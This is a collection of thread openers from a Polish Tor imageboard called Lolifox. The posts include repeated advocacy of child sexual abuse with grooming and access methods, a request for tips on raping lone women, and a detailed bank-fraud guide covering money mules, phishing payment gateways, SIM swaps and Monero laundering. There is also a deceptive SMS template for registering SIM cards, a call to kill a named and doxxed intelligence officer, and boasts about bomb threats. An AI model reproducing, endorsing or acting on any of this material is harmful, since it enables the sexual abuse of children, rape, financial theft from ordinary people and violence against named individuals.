słyszeliście o alternatywnych liniach czasowych? dlaczego nie zrobimy przy pomocy Whonix i Tor bruteforce żebyśmy wszyscy razem żyli i ruchali dzieci? można wygenerować inny scenariusz ale tak precyzyjny zajmie dużo czasu

wszechświat taki jaki chcemy

R: 35 / I: 18 / P: 13

misje lolifoxa

jakie misje możemy robić na lolifoxie? za wykonanie każdej misji dostaje się punkty

R: 60 / I: 2 / P: 13

Łukasz Jędrzejczak z SKW zarzuca że nie umiem przekazać spójnego przekazu, dlatego został napisany ten post

1. Tor jest jedyną technologią gwarantującą anonimowość. Anonimowość gwarantowana przez Tor jest absolutna.

polskie służby i policje nie mają najmniejszych szans namierzyć kogokolwiek za Tor. nie wiedzą nawet od czego zacząć. żeby uniknąć kompromitacji i wytłumaczyć ludziom dlaczego nie zatrzymali sprawców wmawiają że za alarmami bombowymi stoją Rosjanie

nikt nie monitoruje ruchu sieciowego polaków. na tej autostradzie nie ma fotoradarów. policja na komisariatach musi przynosić swoje prywatne komputery (bo służbowe są z 2005), a nawet na tych służbowych nie jest w stanie zrobić grepa po swoich zgłoszeniach żeby wyszukać konkretne słowo albo domenę

głupki robią wyjebki z clearnetu i zarabiają po 700 tysięcy zanim ich zatrzymają. będziecie żałowali że zmarnowaliście swoją szansę na bogactwo

2. Trzeba kochać się z dziećmi. Pedofilia to wolność i dobro.

jeśli będąc nastolatkiem nie ruchałeś małych dziewczynek i nastolatek to przegrałeś życie i to z KRETESEM

jeśli nie poznawałeś się seksualnie z niewinną dziewczynką, nie byłeś nią zauroczony i zakochany, jeśli nie leżeliście razem na trawie oglądając gwiazdy wtuleni w siebie, to jesteś śmieciem a twoje życie nadaje się na śmietnik, jesteś NIKIM, szmaciarzem, matka żałuje że takiego przypierdoleńca wysrała z cipy

i nie ma znaczenia co zrobisz teraz jako staruch. możesz sobie robić "karierę" (w sensie zapierdalanie od rana do świtu dla pana żyda za jakieś ochłapy z jego stołu), możesz kupować drogie gadżety, komputery, konsole, możesz chodzić na dziwki, ćpać, możesz podróżować, tryhardować, co chcesz, ale NIC, powtarzam NIC nie zastąpi ci tego co straciłeś, zmarnowałeś, przegrałeś, nie mając swojej małej nastolatki dziewczynki wpatrzonej w ciebie jak obraz. wszystko co teraz robisz to tylko eskapizm i nieudolna kompensacja tego że nie miałeś w życiu tego co najważniejsze czyli szalonej nastoletniej miłości.

3. Dowódcą akcji przeciwko Lolifox jest Łukasz Jędrzejczak z SKW

uświadomiony pedofil i onanista. można poczytać jego wpisy na prywatnym koncie wykop https://www.wykop.pl/ludzie/komentowane/CiemnaStronaMiasta/

ma gigantyczną kolekcję modelek z Maxmodel i wali do nich konia

ma długi język i skłonność do wygadywania tajemnic służbowych, rozpisywał się na czym polega lodówka w tym poście >>33611

bardzo rekomenduję zapoznać się z tym postem

to on wymyślił teorię że za alarmami bombowymi stoją Rosjanie (i oczywiście wygadał się na Lolifox że będzie w mediach na dzień przed publikacją artykułu)

jeżeli trzeba zrobić coś nielegalnego na Lolifox wysługuje się swoimi ludźmi z lodówki typu Vegeta i Pani Martyna

w akcji pomaga Beata Legowicz z NATO ale ona nie umie używać komputera, ma słabą znajomość pakietu Office, jej pytania zazwyczaj postują operatorzy z lodówki

R: 135 / I: 13 / P: 13

PORADNIK WYJEBEK. JAK ZARABIAĆ TYSIĄCE DZIENNIE

Szykujemy stanowisko pracy

włączasz komputer

instalujesz Virtualbox ze strony https://www.virtualbox.org/wiki/Downloads

importujesz Whonix ze strony https://www.whonix.org/wiki/Download

importujesz Windows ze strony dowolnej

ustawiasz Windows jako storyfikowaną maszynę workstation, zaznaczasz Internal Network > Whonix

ustawiasz internet w Windowsie żeby był z adresu lokalnego twojej maszyny Whonix

sprawdzasz na https://check.torproject.org czy masz Tora

kupujesz i instalujesz polskie proxy

kupujesz hasła i zaczynasz wchodzić na konta polaków

Windows, polskie proxy i normicka przeglądarka mają sprawić że wyglądasz jak normik głupek

możesz sprawdzić na https://whoer.net czy wyglądasz w 100% jak normik głupek

Zaczynamy werbowanie słupów

w pierwszej kolejności musisz zwerbować słupa żeby przyjmował przelewy albo kody BLIK, wypłacał gotówkę i przekazywał ją do ciebie

polecam skorzystać ze świetnego poradnika https://zaufanatrzeciastrona.pl/post/facebook-blik-gadu-gadu-bitbay-i-stado-nieswiadomych-mulow/

odcinasz dostęp właścicielowi konta facebook

dodajesz się do grupek lokalnych

wystawiasz ogłoszenie Szukamy uczciwych, sumiennych, zaangażowanych ludzi do pracy, wypłata 200 zł codziennie, nie konta bankowe, tylko priv

w wiadomości priv wysyłasz że chodzi o konta bankowe

każesz ludziom napisać czy są zdecydowani (pierwszy odsiew leni i debilów)

każesz ludziom podać imię, nazwisko i numer konta bankowego (drugi odsiew leni i debilów)

każesz ludziom założyć konto na gadu gadu (trzeci odsiew leni i debilów)

przechodzisz na gadu gadu (bo konto facebook właściciel wkrótce odzyska po przesłaniu dowodu osobistego do facebooka)

jeśli poprawnie wykonałeś metodę po jednym dniu masz około 10 słupów nagrzanych na przyjmowanie przelewów

Zaczynamy wrabianie ludzi

jest wiele metod na wrabianie ludzi i każda skuteczna

możesz wystawiać przedmioty na olx i podobnych portalach. pewnie teraz nie wierzysz że ludzie wpłacać przelewy, ale wkrótce się przekonasz. możesz nawet w ogłoszeniu napisać TYLKO ODBIÓR OSOBISTY a ludzie sami będą prosić żebyś podał konto bankowe

jeżeli chcesz przedłużyć życie konta bankowego możesz wmawiać ludziom że już wysłałeś przesyłkę i pokazywać sfałszowane potwierdzenie nadania. ale to nie ma sensu, bo słupów chętnych do przyjmowania przelewów jest nieskończona ilość

możesz wchodzić na konta facebook i wyłudzać pożyczyki od znajomych. największy problem jest taki, że idioci nie wiedzą co to aplikacja banku, kto to ten BLIK, nie umieją zainstalować aplikacji, nie umieją wygenerować kodu BLIK, sprawiają wrażenie jakby nie rozumieli o czym ty do nich piszesz, jakbyś był z innej planety

ale i tak z tych którzy ogarną temat zarobki są świetne

możesz postawić bramkę płatności i wrabiać ludzi w podanie loginu, hasła i smsów do konta bankowego. wymyślasz kuriera, dopłatę, windykatora i rozsyłasz. tylko musisz wtedy ciągle siedzieć przy komputerze i szybko logować się na konto. największym problemem jest to że ludzie mają grosze na koncie. trudno uwierzyć mi w te zarobki kilkadziesiąt tysięcy dziennie, bo 1 na 100 osób ma takie oszczędności. możesz dodawać odbiorcę zdefinowanego albo robić od razu przelew na całą kwotę z konta. w niektórych bankach często odbiorca zdefiniowanych nie działa i chcą kody. przy przelewach ponad 10-20 tysięcy dzwonią z banku i blokują

możesz zrobić sim swapa i wyprowadzić całą kasę z konta bogacza. najlepiej za pomocą bramki płatności ustalić kto ma 4 miliony na koncie i zaatakować taką osobę

możesz przejmować konta firm i szefów i wrabiać kontrahentów i księgowe w zrobienie przelewu. "pani halinko, ile mamy pieniędzy na koncie?". "2 miliony". "to proszę wysłać milion na konto takie i takie". "przelew doszedł, ale będziemy potrzebowali jeszcze ten drugi milion"

Kiedy nadmiar pieniędzy to problem

jest wiele sposobów na wypłatę pieniędzy z kont słupów i przekazanie do ciebie. schemat w każdym przypadku powinien wyglądać tak

słup 1 wypłaca gotówkę z bankomatu → słup 1 wysyła ekspres pieniężny na teraz → słup 2 odbiera ekspres pieniężny na teraz → słup 2 kupuje bitcoin i wysyła tobie

słup 1 podaje kod BLIK → słup 2 odbiera kod BLIK i wypłaca gotówkę → słup 2 kupuje bitcoin i wysyła tobie

nie wiem jak wypłacić większą kasę z konta (bo limit wypłaty kartą albo BLIK-iem to 10-20 tysięcy), czy pozwalają wypłacić w oddziale banku (chyba nie)

zawsze można rozbić na konta wielu słupów i każdemu z nich kazać wypłacić 10-20 tysięcy

Jak wyprać bitcoiny

pod żadnym pozorem w pralce, bo to gówno dla idiotów. kupujesz monero i czekasz jakiś czas i wypłacasz inne kwoty

R: 22 / I: 1 / P: 13

Jak rejestrować karty SIM metodą na głupka

Cześć Martyna pomożesz mi w konkursie fotograficznym? Biorę udział i potrzebuję twojego głosu! Jestem na 2 miejscu a do prowadzenia brakuje mi już tylko 2! Mogę na Ciebie liczyć? SMS jak coś jest darmowy 😜 Czy możesz wysłać darmowego smsa o treści: ZAREJESTRUJ 663552964 161969354072 na numer: 80106 ❤

R: 25 / I: 2 / P: 13

Internetowe Pershingi

pamiętacie jak kiedyś były te gangi typu Pershingi i Masy

a potem się rozpadli. ale zanim się rozpadli to znaczyli coś i robili sporo, mieli swój złoty czas. ale teraz czasy są inne, są te całe komputery i internety. a skoro czasy inne to i Pershingi i gangsterzy powinni być inni, tacy internetowi gangsterzy. i myślałem że my możemy być czymś w rodzaju takich Pershingów, tylko internetowych i być postrachem wśród polaków i policji

co myślicie?

R: 70 / I: 3 / P: 14

WYBORY PREZYDENCKIE ZA TYDZIEŃ

TRZEBA ZROBIĆ MASAKRĘ

zobowiązanie hashowe:

e46bdef94fc987390a95e2c5c22ad6cb98b81042

R: 13 / I: 0 / P: 14

gwałcenie kobiet bez konsekwencji

byliście czasem w takich sytuacjach, że byliście sam na sam z bezbronną kobietą, w jakimś budynku albo odludnym miejscu? albo po prostu w takim miejscu spotkaliście kobietę.

bez świadków, bez możliwości że ktoś ją usłyszy

co wtedy wam chodziło po głowie? bo mi zgwałcienie takiej bezbronnej ofiary. kręci mnie bezbronność, pewnie dlatego poza gwałcicielem jestem też pedofilem

nie zdecydowałem się jednak na gwałt w tamtych sytuacjach, dlatego że nie planowałem tego, nie zastosowałem pełnego OPSEC

ale ogólnie to jest świetna sprawa, taki gwałt sam na sam, bez świadków i osoba gwałcona nie zna ciebie

a jak doprowadzić do takich sytuacji?

wyobrażacie sobie jakby taksówkarzami były kobiety? bo nawet na mężczyzn taksówkarzy są robione napady. a jakby kobiety były, to by się dzwoniło po taką i na miejscu robiło z nią to co trzeba

no ale skoro nie ma kobiet taksówkarzy, to co jest?

-jakiś dom w którym mieszka samotna kobieta lub kobieta z małymi dziećmi (je też można użyć)

-jakieś miejsce usługowe, firma itp które świadczy kobieta i jest sama tam

-jakiś szlak turystyczny, las, park, gdzie samotna kobieta będzie iść lub jechać rowerem

jak już gwałciciliście to opiszcie sposoby i dajcie protipy

R: 19 / I: 0 / P: 14

jak myślicie ile Lolifox kosztował kraj pieniędzy? myślę że kilka milionów złotych spokojnie

R: 39 / I: 0 / P: 14

krótka ankieta wyborcza, spowodowana tym, że prawdopodobieństwo takiego zdarzenia akurat na 3 dni przed wyborami jest bardzo małe, a dodatkowo takie wypadki komunikacyjne są bardzo medialne i przykuwają uwagę ludzi

- dlaczego akurat 3 dni przed wyborami?

- dlaczego akurat w Warszawie?

- dlaczego akurat na prostej drodze przed wjazdem na most?

- czy taki wypadek miał miejsce w Polsce w ostatnim czasie? kiedykolwiek?

prawdopodobieństwa takich zdarzeń są tak niskie, że robię ankietę

R: 85 / I: 0 / P: 14

dziesięcina na Whonix

skoro robicie alarmy i wyjebki przez Whonix, zarabiacie na nim

to ile zapłaciliście donacji do autora whonixa? ile procent dochodów tam trafia? czy wolicie żeby był finansowany przez służby i na nich polegał?

można też płacić za implementację jakichś funkcji do niego

http://www.dds6qkxpwdeubwucdiaord2xgbbeyds25rbsgr73tbfpqpt4a6vjwsyd.onion/wiki/Donate

R: 7 / I: 0 / P: 14

gracie na naprawienie polski czy na rozjebanie?

jak na naprawienie to trzeba popierać Trzaskowskiego

jak na rozjebanie to trzeba popierać Dudę

R: 10 / I: 2 / P: 14

ciekawe czy prezydent Trzaskowski rucha swoją córkę

mam nadzieję że tak

R: 13 / I: 0 / P: 14

Łukasz narobił taki spam że nie zostało nam nic innego jak go zabić albo chociaż wysłać do szpitala

jeśli tego nie zrobimy to on dalej będzie rozrabiał

R: 9 / I: 0 / P: 14

Totalna kompromitacja służb

w niedzielę służby napisały post >>33281

>Kontrywywiad wojskowy ma ciekawsze zajecia a bomberow tutaj nie ma, bo ataki bombowe nie zostaly zainicjowane na lolifox.

a ktoś odpisał >>33283

>masz rację. zostały zainicjowane na vichan.pro

dzisiaj doszło do największej kompromitacji służb >>33494

>alarmy to vichan frajerze

>kurwa policyjna legenduje sobie na fame vichan.pro

>lolifox nie ma nic z bomberzy

>>33497

>alarmy to vichan nie lolifox

>>33499

>alarmy to vichan.pro

>bomberzy na lolifox.cc? zabawne policyjna kurwo pierdolona

>>33501

>alarmy to vichan

>lolifx nie ma bombera ani jednego

pamiętajcie, polskie służby nie są tak głupie jak myślimy. są jeszcze głupsze

R: 5 / I: 0 / P: 14

dostępność dziewczynek

różnice są duże, tam gdzie czerwone to dzieci dają wcześnie dupy i są dostępne

R: 10 / I: 0 / P: 14

"Eksperyment Kentlera". Władze Berlina przez 30 lat przekazywały bezdomne dzieci pod opiekę pedofilom

Władze Berlina przez 30 lat celowo przekazywały bezdomne dzieci pod opiekę pedofilom w ramach tzw. eksperymentu Kentlera - wynika z raportu dotyczącego działalności seksuologa Helmuta Kentlera, przygotowanego przez Uniwersytet w Hildesheim.

Kentler w latach 70. świadomie kierował dzieci do opiekunów zastępczych ze skłonnościami pedofilskimi. Był przekonany, że kontakty seksualne między dziećmi i dorosłymi nie są szkodliwe. Dlatego dzieci odebrane patologicznym rodzinom lub żyjące na ulicach Berlina Zachodniego często trafiały pod opiekę samotnych rodziców zastępczych, mających już za sobą wyroki za przestępstwa seksualne.

Pozornie wydawało się, że problemy dzieci zostały rozwiązane przez Urząd ds. Dzieci i Młodzieży (Jugendamt) - nie mieszkały już na ulicy, nie trafiały do domów dziecka, a pedofile nie szukali nowych ofiar, ponieważ tolerowano fakt, że mogli znęcać się nad wychowankami w obrębie własnych domów - napisała "Frankfurter Allgemeine Zeitung". Dodała, że Kentler przekonał do swego projektu urzędników berlińskiego Senatu. Twierdził, że opieka pedofili nad małoletnimi "umożliwia ich społeczną integrację".

Te tzw. domy zastępcze zostały założone pod koniec lat 60. XX wieku i funkcjonowały do ok. 2003 roku. Koncepcja Kentlera, oparta na "wspólnym mieszkaniu dziecka i pedofila", została zatwierdzona przez urzędników Senatu i, z kilkoma wyjątkami, zaakceptowana także przez okręgowe Jugendamty.

https://www.rmf24.pl/fakty/swiat/news-eksperyment-kentlera-wladze-berlina-przez-30-lat-przekazywal,nId,4561157

R: 6 / I: 0 / P: 14

https://www.wykop.pl/link/5577599/prawie-zostalem-oszukany-na-olx-i-allegro-nowa-metoda/

>Numer telefonu na słupa, ale na szczęście oszuści OLX/Allegro to całkiem proste sprawy dla policji. Smialo zglaszaj

co?

w jaki sposób policja rozwiązuje takie proste sprawy?

ile osób w polsce używa Whonix i socks?

R: 13 / I: 1 / P: 14

gdzie zabraliście swoją dziewczynę w taki ciepły weekend?

R: 18 / I: 2 / P: 14

Andrzej Juda ma tylko 41% i przejebie drugą turę

R: 5 / I: 0 / P: 14

https://www.wykop.pl/link/5578139/#comment-78977409

miałem ostatnio przesłuchanie w tej sprawie. Bo z mojego ip, konto usunięte rok temu napisało pewien post. I nie było to moje konto, ani tym bardziej nikt z tego ip nic takiego nie zrobił. Wypok sprzedał mnie za rogale. Tym się zajmuje polska policja. Słowem na 4 litery, jako nawoływanie do nienawiści. Obiekt synalek.

znalazłem pierwszego wykopka który wie jak postępować z polską policją

R: 34 / I: 2 / P: 15

dopiero na 24 lvlu zrozumiałem że w życiu nie liczy się nic poza ruchaniem nastolatek

oni wszyscy będą ci wmawiać że liczy się kariera, rodzina, pieniądze, to wszystko kłamstwa

miłość nastolatki jest jak kokaina, nie do opisania, nawet potem później boli to i tak jest tego warta

oddałbym duszę diabłu aby wiecznie mieć 17 lvl i ruchać młode kobiety

poza tym życie to gówno

każdy czterdziestolatek, pięćdziesięciolatek, bogaty przedsiębiorca oddałby wszystkie pieniądze za możliwość bycia znowu młodym. po 20 lvl życie tak spierdala przez palce że to niewyobrażalne. kiedy będziesz ustatkowany, po studiach, z dobrą pracą i tak nie będziesz mógł wykorzystać żadnej z tych rzeczy.

normalni ludzie w wieku 15-18 lat przeżywają takie miłości że potem nic nie może się z tym równać, no chyba przyjebanie heroiny

w życiu niewiele jest lepszych rzeczy niż młodość i wolność

uczucie tego że wszystko jest przed tobą

uczucie tego że jesteś na początku drogi i nie musisz dawać jebania o nic

stare baby i stare chuje wąsate uwielbiają pytać podwieków KIM BĘDZIESZ, KIM CHCESZ ZOSTAĆ, MUSISZ ZARABIAĆ SZEKLE, UCZ SIĘ

a tak naprawdę za podwieka należy szwędać się z kolegami, uprawiać seks i korzystać z życia zanim będzie za późno

>dzięki finansowej swobodzie mogę pozwolić sobie na inne wolności

w sensie kawaler 25 lat z własnym lokum i samochodem pozna panią 20-30, może być z dzieckiem, do wspólnego życia

każdy wie jak kończą ci młodzi, mili, ambitni, pracowici ludzie (cucki dające sobie wejść na łeb każdemu zwłaszcza lochom)

R: 8 / I: 0 / P: 15

Lolifox Addiction

Lolifox Addiction to jak nazwa wskazuje uzależnienie od Lolifoxa

Objawy

przeglądanie Lolifoxa po kilka godzin dziennie

myślenie o Lolifoxie poza komputerem

ryzyko użycia Lolifoxa na niebezpiecznym setupie np. Windows albo clearnet

irytacja, agresja gdy Lolifoxa nie ma

w przypadku zepsucia komputera - zrobienie wszystkiego by znowu mieć komputer do Lolifoxa

Jakie skutki ze sobą niesie?

uzależnienie może mieć negatywny wpływ na życie człowieka ale w tym przypadku największym ryzykiem jest tak silna potrzeba lurkowania Lolifoxa że osoba może to zrobić bez zachowania opsec np. przeglądać z czyjegoś Windowsa albo nawet wejść przez clearnet

Co robić?

używać Lolifoxa z głową

Ale ja kurwa nie mogę wytrzymać a nie mam jak bezpiecznie odpalić, co teraz?

musisz wytrzymać, twój opsec na tym polega. wpierdolisz się i już nigdy nie będziesz postował

jak to nie pomaga to znajdź sobie jakieś zajęcie

jeśli to nie pomoże to jako zamiennik pisz z głupkami na clearnecie na jakieś głupkowate tematy

R: 9 / I: 0 / P: 15

Lolifox (seria)

Lolifox (stylizowane jako LOLIFOX) - seria różnych mediów stworzona i wyprodukowana przez rosyjskie przedsiębiorstwo GRU Entertainment. akcja dzieje się w różnych okresach czasowych w polsce i jest skupiona wokół wywrotowej, terrorystycznej i przestępczej działalności różnych postaci. seria odniosła ogromny sukces w Rosji i na świecie gdzie została przetłumaczona na dużą ilość języków

Książki

Lolifox - bestseller wszech czasów. trójka nieznających się osób osobno przeproadzi mocne akcje które w pewnym momencie połączą się w całość by zniszczyć polski reżim i świat

Lolifox Walled City - po upadku gospodarczym polska pogrąża się w anarchii a pewni ludzie to wykorzystają tworząc osadę lolifoxa

Najmocniejsze Akcje Lolifoxa - krótki opis największych akcji ze szczegółami i sposobem wykonania

Ikonka Bezkarności - Torowicze doprowadzą do ruiny kraju za pomocą internetu

Jedyne Co Się W Życiu Liczy - młody człowiek poznaje dziewczynkę w której się zakochuje. zniszczy każdego kto mu stanie na drodze

Encyklopedia Lolifoxa - opis wszystkiego dla największych fanów

Wojak - Sebastian Grodecki zostaje niesłusznie oskarżony o przestępstwo. po wyjściu na wolność zdaje sobie sprawę że nic nie zyska grając czysto, zostaje terrorystą i zamierza zabić swoich wrogów

Filmy

Lolifox Poland - najgroźniejszy polski przestępca polski tworzy grupę terrorystyczną która doprowadzi kraj do chaosu. luźna adaptacja książki

Lolifox 2XXX - w dalekiej przyszłości gdzie wszyscy i wszystko jest chipowane i monitorowane a wygenerowane komputerowo obiekty mogą istnieć w rzeczywistości grupa terrorystów postanawia zniszczyć polski reżim i uwolnić ludzkość spod jego buta

Lodówka - młody użytkownik pewnego forum obrazkowego trafia do Lodówki służb. będzie musiał wykonywać niezwykłe misje by pozostać na wolności i uratować swoją rodzinę

Wałek - sprytni przestępcy zajmujący się drobnymi kradzieżami przeprowadzą skok stulecia

Spin-Off

Najmocniejszy Człowiek Świata - film. opowieść o Whonixie, genetycznie zmodyfikowanym człowieku który dowiaduje się prawdy i postanawia użyć swoich umiejętności do uwolnienia polaków

Better Call Jędrzejczak - serial. praca i życie Łukasza Jędrzejczaka zanim trafił na sprawę Lolifox

Ah Ta Beatka! - serial. historia Beaty Legowicz i jak zdobyła sukces w korporacyjnym świecie

Clearneciaki - serial. parodia głównej serii, życie codzienne przestępców działających z clearnetu przedstawiona w humorystyczny sposób

Gry

Lolifox The Game - adaptacja książki, gra z otwartym światem gdzie przez fabułę steruje się trzema lolifoxiarzami

SecMail - celem gry jest strategiczne wywołanie alarmów bombowych w pewnym mieście by umożliwić terrorystom wykonywanie akcji

Whonix - Ponad Prawem - gra akcji w której Whonix walczy z równie zmodyfikowanymi genetycznie skorumpowanymi policjantami i innymi

Lolifox Kart - gra wyścigowa z bohaterami serii

Wałek Simulator - symulator wyjebek

Od Środka - policjant zostaje zradykalizowany przez Lolifox. pomoże wywrotowcom od środka

są różne generacje lolifoxów, łączy ich SPOILER przynależność do tej samej grupy Lolifox która tak naprawdę nie istnieje i wszyscy na wzajem się radykalizują, stworzył ją Shadow którego tożsamość pozostaje nieznana i nigdy nie pojawia się w serii, jeden anon to rozpracowuje na koniec książki , wszystkie filmy i spinoffy są kanoniczne oprócz Whonixa który nie istnieje i są tylko nawiązania do niego jako "nadludzkiego wywrotowca"

w oryginalnej książce Lolifox bohaterowie nigdy nie poznają się nawzajem, reszta już ma znających się bohaterów gdzie są ich relacje

R: 25 / I: 3 / P: 15

a ten Andrzej Juda to się nie obawia że ktoś go zamorduje?

R: 13 / I: 3 / P: 15

musimy wyjaśnić jedną kwestię

JAK WYOBRAŻASZ SOBIE LOLIFOXA?

to bardzo ważne. wybierzcie jedną z opcji

R: 31 / I: 0 / P: 15

historia sieci Tor

2005

powstaje międzynarodowe Onionforum

2008

dział Onionforum w języku polskim zdobywa na popularności. moderatorem jest Givirinop

https://f.kafeteria.pl/temat-3927887-pigulki-gwaltu-chcialam-ostrzec-wszystkie-dziewczyny/

https://pokazywarka.pl/8mzf2o-3/

2009

poseł Brejza chce zakazania sieci Tor

https://www.wykop.pl/link/162567/siec-tor-i-polskie-onionforum-kompendium-wiedzy-dla-poczatkujacych/

https://www.wykop.pl/link/263440/syn-pobil-mnie-pod-wplywem-onionforum/

https://www.sadistic.pl/nieslawne-forum-onion-vt71196,30.htm

https://www.sadistic.pl/jak-dobrze-gwalcic-dzieci-pedofil-radzi-vt25798,45.htm

http://wiadomosci.gazeta.pl/wiadomosci/1,126765,7271969,Jak_dobrze_gwalcic_dzieci__Pedofil_radzi.html

https://www.rp.pl/artykul/407210-Posel-Brejza-na-celowniku-pedofilow.html

2010

Onionforum zostaje zamknięte

powstaje polskie forum Torowisko

https://www.wykop.pl/link/293502/galerianki-myslisz-ze-istnieja-naprawde-eksperci-z-onionforum-kreca-nosem/

https://www.wykop.pl/link/298495/myslales-ze-onionforum-to-najwieksze-skupowisko-pedofili/

https://www.wykop.pl/link/340266/krwiste-miecho-z-cebula-onionforum-oczami-jego-admina/

https://www.wykop.pl/link/381329/onionforum-wykop-effect/

https://www.wykop.pl/link/545795/co-sie-stalo-z-onionforum/

2011

powstaje Silk Road, pierwszy market który odnosi sukces

MSWiA zamawia narzędzia do monitorowania sieci Tor

https://www.wykop.pl/link/698389/wolnosciowe-onionforum-ma-nastepce-torowisko/

https://www.wykop.pl/link/686857/silk-road-market-anonimowy-market-narkotykow/

https://www.wykop.pl/link/935783/mswia-zamowilo-narzedzia-do-zlamania-tora-i-podsluchiwania/

2012

Zdzisław Dyrma zakłada forum Polish Black Market, poźniej zwane Polish Board & Market

https://zaufanatrzeciastrona.pl/post/silk-road-czyli-prawdziwy-czarny-rynek-internetu/

https://zaufanatrzeciastrona.pl/post/silkroad-sprzedaje-narkotyki-za-22-miliony-dolarow-rocznie/

https://natemat.pl/32267,najciemniejszy-zakatek-internetu-naprawde-istnieje-ukryta-siec-tor-lewe-papiery-pedofilia-przekrety-i-narkotyki

https://m.natemat.pl/290782dbde00d747bf9ff28f0f3a2ba4,750,470,0,0.jpg

2013

Torowisko i PBM zostają zamknięte

powstaje siedmiu następców, tylko forum Torepublic odnosi sukces

administrator Freedom Hosting zostaje aresztowany

administrator Silk Road zostaje aresztowany

https://zaufanatrzeciastrona.pl/post/polskie-fora-przestepcze-w-sieci-tor-znikaja-jedno-po-drugim/

https://zaufanatrzeciastrona.pl/post/siedmiu-nastepcow-pbm-ktory-z-nich-przetrwa-pozostalych/

https://zaufanatrzeciastrona.pl/post/nowy-typ-szantazu-napiszcie-o-nas-artykul-albo-opublikujemy-baze/

https://zaufanatrzeciastrona.pl/post/z-siedmiu-jedno-sie-ostalo-czyli-polskie-fora-w-sieci-tor/

https://zaufanatrzeciastrona.pl/post/wielki-cios-w-internetowa-pedofilie-zalozyciel-freedom-hosting-aresztowany/

https://zaufanatrzeciastrona.pl/post/analiza-najnowszego-ataku-0day-na-firefoxa-uzywanego-w-tor-bundle/

https://zaufanatrzeciastrona.pl/post/fbi-przyznalo-sie-do-przeprowadzenia-atakow-na-uzytkownikow-tora/

https://zaufanatrzeciastrona.pl/post/seria-wielu-drobnych-wpadek-czyli-jak-fbi-namierzylo-zalozyciela-silk-road/

R: 36 / I: 3 / P: 15

jest jakiś program który automatycznie stworzy wszystkie dostępne kombinacje?

Dzisiaj / Wczoraj / W tym tygodniu / W tym miesiącu

Opublikowaliśmy / Wydaliśmy / Stworzyliśmy / Utworzyliśmy

Nową / Ciekawą / Zaskakującą / Interesującą

Książkę / Publikację / Lekturę / Czytankę

Kupujcie! / Czytajcie! / Zamawiajcie! / Składajcie zamówienia!

i program ma stworzyć 1024 dostępnych kombinacji

żeby maile nie wpadały do spamu

R: 14 / I: 0 / P: 15

Porady pedofilskie

jak podejdziecie do dziecka na piaskownicy i ściągniecie majtki i zdupczycie

to ono będzie piszczeć, rozpłacze się i powie mamie że podszedł pan, spytał jak zdróweczko i zaczął grzebać tam w majteczkach

zamiast tego można zdobyć zaufanie dziecka, przyjaźń, spotkać się wiele razy neutralnie lub rozmawiać przez internet wiele raz, jak dziecko ci zaufa i będzie się czuło bezpiecznie przy tobie to można wszystko z nim zrobić, ściągnąć majteczki i grzebać tam, wąchać, lizać, bawić się w lekarza np.ginekologa dziecięcego

i nie powie nikomu. chyba że koleżankom, wtedy i one też będą się chciały bawić w lekarza z tobą

R: 15 / I: 2 / P: 15

>współcześni pracownicy mają gorzej niż niewolnicy

https://jarek-kefir.com/2019/08/29/bedac-pracownikiem-masz-gorzej-niz-dawny-niewolnik/

Cytat: „Niewolnik miał zapewnione wyżywienie i dach nad głową, chłop płacił dziesięcinę (10% podatku), resztę miał dla siebie. My dzisiaj bierzemy kredyty na mieszkanie, w żywności, paliwie, drogach, wynagrodzeniu płacimy podatki.

ludziei to nazywają wolnością?

R: 37 / I: 0 / P: 15

jak wyruchać dziecko? gdzie poznać dziewczynki? piszcie wszystkie sposoby

-znajdujesz na facebooku konto prawdziwej dziewczynki, piszesz do niej, rozmawiacie o wszystkim ale niczym seksualnym, na spotkaniu uwodzisz i ruchasz

-znajdujesz kurewki które dają dupy za pieniądze

-znajdujesz dziewczynki które chcą być modelkami i pozować do zdjęć

-znajdujesz pracę w pobliżu dzieci

-chodzisz w realu i widzisz dziewczynki które kręcą się po galeriach handlowych, ulicach, parkach, podstawówkach, placach zabaw

-domy dziecka, jak mają czas wolny zabierasz dziewczynkę na loda

R: 35 / I: 1 / P: 15

LUDZIE SZYBKO! ROZKOSZ Z MAŁOLATĄ

LUDZIE!!!!

szybko póki jesteście młodzi musicie przeżyć miłość i romanse z małolatkami

później już będzie za późno. będziecie starymi dziadami a seks dostaniecie co najwyżej za kasę lub gwałt, a nie z pożądania i miłości.

więc nie czekajcie ani chwili dłużej. to wasza jedyna i ostatnia szansa. jedynie małolata potrafi naprawdę kochać. stare szmaty (20lvl+) są wyrachowane i manipulują, nie potrafią kochać, wbiją ci nóż w plecy.

dlatego bierzcie co się wam należy. jeśli ktoś stanie wam na drodze (antypedofil, policjant, reżim) to wszystkich zabijacie, niszczycie. tylko najlepszy, najsilniejszy wygrywa i dostaje rozkosz z małolatą.

dni lecą i spełnienie rozkoszy się oddala. nie wahaj się ani chwili dłużej.

przejdźcie do działania albo skończy się na gadaniu i będziecie jak Dymkowski któremu nie dali więc psuje innym

trzeba tu rozpisać plan działania. kroki jakie wykonać by wydupczyć małolatę w jej ciasne dziurki. potem realizować je bezwzględnie. i dzielić się tutaj rezultatami.

R: 45 / I: 1 / P: 15

Dlaczego policjanci są śmieciami

Dlaczego policjanci są śmieciami

Do czego powinna być policja:

-stanie na straży etyki i moralności

-obrona słabego obywatela atakowanego przez korporacje, mafie, rząd

Do czego służy policja w rzeczywistości:

-prześladowanie mężczyzn którzy robią miłość z niewinną dziewczynką zamiast ze starą zużytą szmatą która daje dupy za pieniądze, drogie auta

-prześladowanie słabych ludzi na zlecenie oligarchów, korporacji, grup interesów np.atak na grodeckiego na zlecenie oligarchy Michała Białka

-łapanie ludzi którzy okradli bogatego dewelopera, jednocześnie umarzanie spraw jak ten deweloper płaci łapówki za decyzje urzędników, bierze udział w ustawionym przetargu

-umarzanie spraw ludzi z kasty i znajomościami, typu Kruszwil

-utrzymywanie i obrona systemu kastowego

-do pałowania ludzi protestujących przeciwko reżimowi, atakowania ich gazem łzawiącym

-generowanie zysków dla rządu i państwa, wlepiając jak najwięcej mandatów

-dbanie o statystyki zamiast pomoc ludziom, poprzez utrudnianie zgłaszania przestępstw, a jak już jakieś jest zgłoszone to wrabianie pierwszą lepszą osobę lub zmusić ją do przyznania się

R: 42 / I: 1 / P: 15

Deska oczami oficera dyżurnego

